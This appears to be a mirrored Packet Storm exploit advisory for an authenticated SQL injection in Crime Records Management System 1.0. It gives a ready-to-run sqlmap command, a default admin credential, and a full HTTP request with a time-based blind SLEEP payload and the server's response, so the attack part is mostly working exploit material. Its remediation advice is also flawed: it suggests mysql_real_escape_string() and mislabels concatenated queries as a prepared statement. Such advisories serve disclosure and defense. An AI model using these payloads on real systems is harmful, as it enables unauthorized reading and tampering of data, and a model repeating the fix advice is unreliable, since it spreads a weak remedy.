Crime Records Management System 1.0 SQL Injection

🗓️ 18 Aug 2021 00:00:00Reported by Davide TaraschiType

packetstorm🔗 packetstormsecurity.com👁 218 Views

Crime Records Management System 1.0 SQL Injection authenticate

`# Exploit Title: Crime records Management System 1.0 - 'Multiple' SQL Injection (Authenticated)  
# Date: 17/08/2021  
# Exploit Author: Davide 't0rt3ll1n0' Taraschi   
# Vendor Homepage: https://www.sourcecodester.com/users/osman-yahaya  
# Software Link: https://www.sourcecodester.com/php/14894/police-crime-record-management-system.html  
# Version: 1.0  
# Testeted on: Linux (Ubuntu 20.04) using LAMPP  
  
## Impact:  
An authenticated user may be able to read data for which is not authorized, tamper with or destroy data, or possibly even read/write files or execute code on the database server.   
  
## Description:   
All four parameters passed via POST are vulnerable:  
`fname` is vulnerable both to boolean-based blind and time-based blind SQLi  
`oname` is vulnerable both to boolean-based blind and time-based blind SQLi  
`username` is only vulnerable to time-based blind SQLi  
`status` is vulnerable both to boolean-based blind and time-based blind SQLi   
  
## Remediation:  
Here is the vulnerable code:  
  
if($status==''){  
mysqli_query($dbcon,"update userlogin set surname='$fname', othernames='$oname' where staffid='$staffid'")or die(mysqli_error());  
}  
if(!empty($status)){  
mysqli_query($dbcon,"update userlogin set surname='$fname',status='$status', othernames='$oname' where staffid='$staffid'")or die(mysqli_error());  
}  
  
As you can see the parameters described above are passed to the code without being checked, this lead to the SQLi.  
To patch this vulnerability, i suggest to sanitize those variables via `mysql_real_escape_string()` before being passed to the prepared statement.  
  
## Exploitation through sqlmap  
1) Log into the application (you can try the default creds 1111:admin123)  
2) Copy your PHPSESSID cookie  
3) Launch the following command:  
sqlmap --method POST -u http://$target/ghpolice/admin/savestaffedit.php --data="fname=&oname=&username=&status=" --batch --dbs --cookie="PHPSESSID=$phpsessid"  
replacing $target with your actual target and $phpsessid with the cookie that you had copied before  
  
## PoC:  
Request:  
POST /ghpolice/admin/savestaffedit.php HTTP/1.1  
Host: localhost  
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8  
Accept-Language: it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3  
Accept-Encoding: gzip, deflate  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 77  
Origin: http://localhost  
DNT: 1  
Connection: close  
Referer: http://localhost/ghpolice/admin/user.php  
Cookie: PHPSESSID=f7123ac759cd97868df0f363434c423f  
Upgrade-Insecure-Requests: 1  
Sec-Fetch-Dest: document  
Sec-Fetch-Mode: navigate  
Sec-Fetch-Site: same-origin  
Sec-Fetch-User: ?1  
  
fname=' AND (SELECT * FROM (SELECT(SLEEP(5)))foo)-- &oname=&username=&status=  
  
And after 5 seconds we got:  
  
HTTP/1.1 200 OK  
Date: Tue, 17 Aug 2021 14:28:59 GMT  
Server: Apache/2.4.48 (Unix) OpenSSL/1.1.1k PHP/7.4.22 mod_perl/2.0.11 Perl/v5.32.1  
X-Powered-By: PHP/7.4.22  
Content-Length: 1074  
Connection: close  
Content-Type: text/html; charset=UTF-8  
  
<!DOCTYPE html>  
etc...  
`

18 Aug 2021 00:00Current

0.4Low risk

Vulners AI Score0.4